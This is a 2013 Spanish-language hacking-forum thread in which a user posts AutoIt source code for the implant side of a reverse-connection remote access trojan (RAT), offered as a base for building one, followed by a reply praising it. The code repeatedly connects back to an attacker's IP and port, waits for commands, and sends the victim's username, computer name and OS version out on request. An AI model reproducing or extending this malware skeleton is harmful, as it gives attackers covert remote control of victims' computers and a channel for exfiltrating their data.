Saltar al contenido
Underc0de /foro

[RAT] Lo basico para empezar un RAT en AUTOIT

Iniciado por 79137913, Diciembre 02, 2013, 11:29:55 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Avatar de 79137913
Diciembre 02, 2013, 11:29:55 AM Ultima modificación: Diciembre 02, 2013, 12:35:16 PM por 79137913

HOLA!!!

Estuve Jugando un poco con Autoit los ultimos dias.

Este es un ejemplo que hice de Base para RAT de coneccion inversa (codigo del Server)


Código: autoit
#include <Array.au3>
Global $Socket
Global $Recibe
While 1 ;Reconeccion
   _Conectar()
   TCPSend ($Socket,"Hola")
   While 1 ; Recibir y ejecutar
  $Recibe =""
  While $Recibe = ""
$Recibe=TCPRecv($Socket,10000000)
Sleep (100)
  WEnd
  $Dat = StringSplit($Recibe,"|||")
  Select
  case $Dat[1] = "GiveMeData"
TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
  EndSelect
   WEnd
WEnd

Func _Conectar()
   While TCPStartup()=0
  sleep (10)
   WEnd
   While True
  $Socket=TCPConnect ($IP,$PORT)
  If $Socket>0 Then
ExitLoop
  EndIf
  Sleep(1000)
   WEnd   
EndFunc


GRACIAS POR LEER!!!
WhatsApp Telegram
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                Los enlaces son solo para miembros. Registrate o iniciá sesión

1 respuesta

Avatar de ANTRAX
Diciembre 02, 2013, 11:37:43 AM #1 Ultima modificación: Diciembre 02, 2013, 11:48:02 AM por 79137913
Brillante 79137913!
Felicitaciones!


¿Te quedó una duda sobre Otros lenguajes Scripting?

Preguntala y te responde la comunidad (y el asistente Underc0de IA si nadie llega antes). Es gratis y tarda un minuto.

Ya tengo cuenta
Guardamos tu pregunta en este navegador: después de entrar la publicás con un clic.
Grupo de WhatsApp